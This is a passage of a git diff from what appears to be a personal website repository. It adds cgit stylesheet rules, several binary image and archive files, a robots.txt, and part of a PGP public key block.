653div#cgit table.stats td.sum {
654 color: #c00;
655 font-weight: bold;
656/* background-color: #eee; */
657}
658
659div#cgit table.stats td.left {
660 text-align: left;
661}
662
663div#cgit table.vgraph {
664 border-collapse: separate;
665 border: solid 1px black;
666 height: 200px;
667}
668
669div#cgit table.vgraph th {
670 background-color: #eee;
671 font-weight: bold;
672 border: solid 1px white;
673 padding: 1px 0.5em;
674}
675
676div#cgit table.vgraph td {
677 vertical-align: bottom;
678 padding: 0px 10px;
679}
680
681div#cgit table.vgraph div.bar {
682 background-color: #eee;
683}
684
685div#cgit table.hgraph {
686 border: solid 1px black;
687 width: 800px;
688}
689
690div#cgit table.hgraph th {
691 background-color: #eee;
692 font-weight: bold;
693 border: solid 1px black;
694 padding: 1px 0.5em;
695}
696
697div#cgit table.hgraph td {
698 vertical-align: middle;
699 padding: 2px 2px;
700}
701
702div#cgit table.hgraph div.bar {
703 background-color: #eee;
704 height: 1em;
705}
706
707div#cgit table.ssdiff {
708 width: 100%;
709}
710
711div#cgit table.ssdiff td {
712 font-size: 75%;
713 font-family: monospace;
714 white-space: pre;
715 padding: 1px 4px 1px 4px;
716 border-left: solid 1px #aaa;
717 border-right: solid 1px #aaa;
718}
719
720div#cgit table.ssdiff td.add {
721 color: black;
722 background: #cfc;
723 min-width: 50%;
724}
725
726div#cgit table.ssdiff td.add_dark {
727 color: black;
728 background: #aca;
729 min-width: 50%;
730}
731
732div#cgit table.ssdiff span.add {
733 background: #cfc;
734 font-weight: bold;
735}
736
737div#cgit table.ssdiff td.del {
738 color: black;
739 background: #fcc;
740 min-width: 50%;
741}
742
743div#cgit table.ssdiff td.del_dark {
744 color: black;
745 background: #caa;
746 min-width: 50%;
747}
748
749div#cgit table.ssdiff span.del {
750 background: #fcc;
751 font-weight: bold;
752}
753
754div#cgit table.ssdiff td.changed {
755 color: black;
756 background: #ffc;
757 min-width: 50%;
758}
759
760div#cgit table.ssdiff td.changed_dark {
761 color: black;
762 background: #cca;
763 min-width: 50%;
764}
765
766div#cgit table.ssdiff td.lineno {
767 color: black;
768 background: #eee;
769 text-align: right;
770 width: 3em;
771 min-width: 3em;
772}
773
774div#cgit table.ssdiff td.hunk {
775 color: black;
776 background: #ccf;
777 border-top: solid 1px #aaa;
778 border-bottom: solid 1px #aaa;
779}
780
781div#cgit table.ssdiff td.head {
782 border-top: solid 1px #aaa;
783 border-bottom: solid 1px #aaa;
784}
785
786div#cgit table.ssdiff td.head div.head {
787 font-weight: bold;
788 color: black;
789}
790
791div#cgit table.ssdiff td.foot {
792 border-top: solid 1px #aaa;
793 border-left: none;
794 border-right: none;
795 border-bottom: none;
796}
797
798div#cgit table.ssdiff td.space {
799 border: none;
800}
801
802div#cgit table.ssdiff td.space div {
803 min-height: 3em;
804}
diff --git a/files/cgit/cgit.png b/files/cgit/cgit.png
new file mode 100644
index 0000000..0bdf5a7
--- /dev/null
+++ b/files/cgit/cgit.png
Binary files differ
diff --git a/files/cgit/favicon.ico b/files/cgit/favicon.ico
new file mode 100644
index 0000000..56ff593
--- /dev/null
+++ b/files/cgit/favicon.ico
Binary files differ
diff --git a/files/cgit/robots.txt b/files/cgit/robots.txt
new file mode 100644
index 0000000..4ce948f
--- /dev/null
+++ b/files/cgit/robots.txt
@@ -0,0 +1,3 @@
1User-agent: *
2Disallow: /*/snapshot/*
3Allow: /
diff --git a/files/epost.pdf b/files/epost.pdf
new file mode 100644
index 0000000..9cf01d1
--- /dev/null
+++ b/files/epost.pdf
Binary files differ
diff --git a/files/erdgeist.org.tbz b/files/erdgeist.org.tbz
new file mode 100644
index 0000000..7708213
--- /dev/null
+++ b/files/erdgeist.org.tbz
Binary files differ
diff --git a/files/fnord/news/Studio-RT.JPG b/files/fnord/news/Studio-RT.JPG
new file mode 100644
index 0000000..e74c610
--- /dev/null
+++ b/files/fnord/news/Studio-RT.JPG
Binary files differ
diff --git a/files/fnord/news/speeding.jpg b/files/fnord/news/speeding.jpg
new file mode 100644
index 0000000..90bd3e7
--- /dev/null
+++ b/files/fnord/news/speeding.jpg
Binary files differ
diff --git a/files/hello-world.jpg b/files/hello-world.jpg
new file mode 100644
index 0000000..2e53336
--- /dev/null
+++ b/files/hello-world.jpg
Binary files differ
diff --git a/files/key.asc b/files/key.asc
new file mode 100644
index 0000000..305916e
--- /dev/null
+++ b/files/key.asc
@@ -0,0 +1,235 @@
1-----BEGIN PGP PUBLIC KEY BLOCK-----
2Version: GnuPG v1.4.9 (Darwin)
3
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
